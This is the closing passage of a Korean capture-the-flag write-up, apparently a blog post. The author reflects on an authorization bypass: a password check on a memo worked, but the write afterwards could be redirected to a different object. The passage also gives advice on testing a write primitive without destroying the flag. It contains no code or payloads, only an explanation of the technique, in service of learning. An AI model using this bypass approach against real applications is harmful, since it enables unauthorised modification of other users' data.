get_memo_with_auth_or_abort 는 정확하게 동작했다. 내가 비밀번호를 아는 메모에 대해서만 통과시켰다. 문제는 통과 이후에 조작 대상이 다른 객체로 옮겨갈 수 있다는 걸 아무도 확인하지 않은 것이다. 권한 검사와 실제 쓰기 대상이 같은 객체인지 확인하는 습관이 없으면, 검사를 아무리 정확하게 써도 우회된다.
쓰기 프리미티브를 확인할 때는 읽고 싶은 것부터 지키자.
삽질 4 에서 flag 가 들어 있는 필드를 시험용으로 덮어 버렸다. 로컬 컨테이너였으니 재시작으로 끝났지만 라이브였으면 인스턴스를 새로 받아야 했다. 쓰기가 통하는지 보고 싶으면 아무래도 좋은 필드로 확인하면 된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…